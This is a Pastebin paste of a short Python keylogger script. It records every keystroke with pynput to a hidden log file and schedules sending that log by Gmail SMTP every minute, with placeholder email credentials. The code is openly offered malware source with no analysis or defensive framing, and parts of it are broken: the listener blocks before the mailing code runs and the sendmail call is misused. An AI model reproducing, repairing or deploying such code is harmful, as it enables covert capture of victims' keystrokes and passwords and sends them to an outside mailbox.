Guest User

Untitled

a guest
Aug 12th, 2018
159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.81 KB | None | 0 0
  1. from pynput.keyboard import Key, Listener
  2. import logging
  3. import sys
  4. import smtplib
  5. import sched, time
  6.  
  7. log_dir = "C:/Users/Name/Desktop/keyloggerfolder/"
  8.  
  9. logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
  10.  
  11. def on_press(key):
  12. logging.info(str(key))
  13.  
  14. with Listener(on_press=on_press) as Listener:
  15. Listener.join()
  16.  
  17. FROMADDR = "myemail"
  18. TOADDR = "myemail"
  19. MSG = ''
  20.  
  21. username = 'myemail'
  22. password = 'mypassword'
  23.  
  24. s = sched.scheduler(time.time, time.sleep)
  25. def do_something(sc):
  26. server = smtplib.SMTP('smtp.gmail.com:587')
  27. server.starttls()
  28. server.login(username,password)
  29. server.sendmail(FROMADDR, TOADDR, MSG, "C:/Users/Name/Desktop/keyloggerfolder/key_log.txt")
  30. s.enter(60, 1, do_something, (sc,))
  31.  
  32. s.enter(60, 1, do_something, (s,))
  33. s.run()
Add Comment
Please, Sign In to add comment